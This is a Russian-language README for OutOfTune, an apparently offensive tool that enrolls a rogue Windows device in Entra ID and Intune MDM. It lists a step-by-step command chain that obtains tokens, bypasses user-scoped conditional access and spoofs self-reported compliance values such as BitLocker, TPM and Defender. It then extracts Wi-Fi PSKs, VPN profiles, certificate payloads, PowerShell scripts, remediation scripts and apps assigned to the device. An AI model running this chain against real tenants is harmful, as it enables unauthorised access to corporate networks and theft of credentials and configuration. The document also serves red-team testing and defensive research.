
Инструмент для регистрации неавторизованных устройств в Entra ID и Intune MDM. Автоматизирует присоединение устройства, получение токена, регистрацию в MDM и проверку OMA-DM для извлечения политик, учетных данных Wi-Fi, скриптов и приложений, обходя условный доступ.
Вдохновлённый оригинальным Pytune, OutOfTune регистрирует подставное устройство в Entra ID, записывает его в Intune MDM и проверяет полученное состояние соответствия политикам.
Поддерживаются только устройства Windows — это была моя основная цель, возможно, в будущем добавлю другие.
Сопровождающие статьи в блоге:
pip install -r requirements.txt
Цепочка выполняется по фазам, каждая из которых опирается на состояние, сохранённое в chain_state.json.
drs-token -> device-join -> device-token -> mdm-enroll -> mdm-checkin
ROPC (учётные данные известны):
python OutOfTune.py drs-token -u [email protected] -p Password1!
Заранее полученный токен:
python OutOfTune.py drs-token -u [email protected] -t <drs_access_token>
python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01
Выдаёт <DEVICENAME>.pfx — сертификат устройства. Пароль: password.
python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx
Аутентифицируется в AAD как объект устройства (не как пользователь). Обходит политики условного доступа, ограниченные пользователем.
python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
Выполняет SOAP-обнаружение конечной точки MDM, затем отправляет запрос на регистрацию WS-Trust PKCS10. Выдаёт <DEVICENAME>_mdm.pfx.
Используйте --profile, чтобы подделать аппаратные/ОС атрибуты устройства, отправляемые в Intune (см. Профили устройств).
python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r <refresh_token>
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw
Запускает цикл OMA-DM SyncML против r.manage.microsoft.com. Intune отправляет конфигурационные профили, назначения приложений и любые другие политики, нацеленные на устройство. После завершения цикла извлечённая информация автоматически отображается.
Если указан -r, токен обновления обменивается на токен доступа manage.microsoft.com и отправляется как Authorization: Bearer в каждом запросе SyncML. Intune читает UPN из этого токена и назначает его в качестве основного пользователя устройства, что приводит к привязке политик соответствия, ограниченных пользователем. Достаточно выполнить один раз с -r, чтобы назначить пользователя; все последующие проверки связи можно запускать без токена обновления.
Без -r у устройства не будет основного пользователя.
После первой проверки связи, если вы не будете проверяться в течение длительного времени (обычно 5–7 дней), устройство может перестать соответствовать политикам из-за политики по умолчанию "Is Active". В зависимости от конфигурации Intune устройство может войти в льготный период перед тем, как быть помеченным как несоответствующее. Если это произойдёт, повторно запустите mdm-checkin. Если вы ранее использовали токен обновления для назначения основного пользователя, повторно отправлять его не нужно, так как основной пользователь теперь хранится в бэкенде Intune.
Повторный разбор необработанных XML-раундов, сохранённых с --save-syncml, без запуска живой проверки связи.
python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2
python OutOfTune.py check -u [email protected] -r <refresh_token>
python OutOfTune.py check -u [email protected] -p Password1!
Выпускает PRT из сертификата устройства, обменивает его на токен IWService и запрашивает IWService/Devices для получения состояния соответствия устройства и любых правил несоответствия.
Используйте -r с токеном обновления MFA-сессии, если арендатор CA требует MFA для ресурса регистрации.
Загружает Win32-приложения и PowerShell-скрипты, назначенные устройству, через IME SideCarGateway. Использует только клиентский сертификат MDM — токен пользователя не требуется.
python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx
scripts/<PolicyId>.ps1apps/<AppName>/Загружает скрипты упреждающего исправления (пары обнаружения + исправления), назначенные устройству.
python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx
Каждая политика сохраняется в remediations/<PolicyId>/, содержащий:
detection.ps1 — скрипт обнаруженияremediation.ps1 — скрипт исправленияparams.json — идентификатор политики и любые параметры скриптаЕсли удаление устройства из Intune не удаётся, удалите его из Entra. После этого оно перейдёт в льготный период в Intune и будет автоматически удалено позже.
Удалить устройство из Intune:
python OutOfTune.py retire-intune -u [email protected] -r <refresh_token>
Удалить объект устройства из Entra ID:
python OutOfTune.py entra-delete
python OutOfTune.py status
Атрибуты устройства, отправляемые в Intune во время регистрации и проверки связи, полностью поддаются подделке через JSON-профиль. Сюда входят аппаратные идентификаторы, версия ОС, производитель и все самоотчётные значения CSP соответствия (BitLocker, Firewall, Defender, TPM, Secure Boot).
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
python OutOfTune.py mdm-checkin # профиль сохраняется в состояние и используется автоматически повторно
| Файл | Устройство |
|---|---|
profiles/default.json | Значения по умолчанию (VMware / Win10 Enterprise) |
profiles/dell_win11_ent.json | Dell Latitude 5540 / Windows 11 Enterprise 23H2 |
Все значения CSP DeviceStatus являются самоотчётными и доверяются Intune без независимой проверки. HAS-аттестованные проверки соответствия (BitLockerEnabled, SecureBootEnabled через CSP HealthAttestation) требуют реального TPM и не могут быть подделаны таким образом.
--debug подробное логирование HTTP + токенов
--proxy <url> направлять трафик через прокси (например, http://127.0.0.1:8080)
Они указываются перед командой:
python OutOfTune.py --debug device-token
python OutOfTune.py --proxy http://127.0.0.1:8080 mdm-checkin
Если у вас есть сертификаты с предыдущего запуска или вы хотите использовать конкретные PFX-файлы:
python OutOfTune.py device-token --cert path/to/device.pfx
python OutOfTune.py mdm-enroll --cert path/to/device.pfx
python OutOfTune.py mdm-checkin --cert path/to/mdm.pfx
python OutOfTune.py check --cert path/to/device.pfx
python OutOfTune.py download-apps --cert path/to/mdm.pfx
python OutOfTune.py get-remediations --cert path/to/mdm.pfx
Все выходные данные фаз сохраняются в chain_state.json в рабочем каталоге. Удалите его, чтобы начать заново. Используйте status для просмотра текущего состояния без выполнения чего-либо. Если вы работаете с несколькими устройствами, убедитесь, что у каждого есть свой файл состояния. Файл состояния по умолчанию можно изменить в начале скрипта на то устройство, с которым вы работаете. Будьте осторожны с опциями переопределения сертификатов; они в основном предназначены для отладки.
Огромная благодарность @temp43487580, создателю оригинального Pytune, чьи оригинальные исследования сделали это возможным
| Флаг | Описание |
|---|
--cert FILE | MDM PFX для использования — имя устройства определяется автоматически из имени файла |
-r RT | Токен обновления пользователя — устанавливает основного пользователя (требуется только один раз) |
-O DIR | Сохранить извлечённые артефакты в DIR (wifi/, vpn/, scripts/, certs/, add_values.json, policy_values.json) |
--save-syncml DIR | Сохранять необработанный SyncML XML для каждого раунда в DIR для повторного разбора в автономном режиме |
-o FILE | Записать полный вывод консоли в FILE |
| Категория | Сохраняется в | Примечания |
|---|
| Wi-Fi профили | wifi/<SSID>.xml + _psk.txt | Простой текст PSK извлекается, если присутствует |
| VPN профили | vpn/<name>.xml | Полный ProfileXML |
| Полезные нагрузки сертификатов | certs/cert_N.b64 | Зашифрованные PFX-блоб (необработанные, ещё не расшифрованные) |
| SCEP-запросы | отображаются | Имя модели ЦС, URL запроса |
| Скрипты | scripts/<name>.ps1 | PowerShell-скрипты, отправленные через OMA-DM |
| URL-адреса загрузки MSI | отображаются | Прямые ссылки CDN для LOB-приложений |
| ODJ-блоб | odj_blob.b64 + odj_strings.txt | Offline Domain Join — извлечены читаемые строки |
| Значения Add | add_values.json | Все остальные команды Add (корневые сертификаты ЦС, ввод MDE, конфигурация политик) |
| Значения Replace | policy_values.json | Значения CSP политик, установленные Intune |
| Поле | CSP | Примечания |
|---|
os_version | DevDetail/SwV | Проверки соответствия минимальной/максимальной версии ОС |
os_edition_syncml | WindowsLicensing/Edition | 4 = Enterprise, 48 = Pro |
manufacturer | DevInfo/Man | Некоторые политики используют белые списки производителей |
mac_address | SOAP AdditionalContext/MAC | Все нули — очевидный индикатор |
hw_dev_id_enroll | SOAP AdditionalContext/HWDevID | 64 шестнадцатеричных символа |
bitlocker_status | BitLocker/Status/DeviceEncryptionStatus | 2 = зашифровано (самоотчёт) |
encryption_compliance | DeviceStatus/Compliance/EncryptionCompliance | 1 = соответствует (самоотчёт) |
firewall_status | DeviceStatus/Firewall/Status | 0 = включён (самоотчёт) |
secure_boot_state | DeviceStatus/SecureBootState | 1 = включён (самоотчёт, не HAS-аттестован) |
tpm_version | DeviceStatus/TPM/SpecificationVersion | Нет криптографического доказательства |
defender_enabled | Defender/Health/DefenderEnabled | true = работает |
defender_version | Defender/Health/DefenderVersion | Некоторые политики требуют минимальной версии |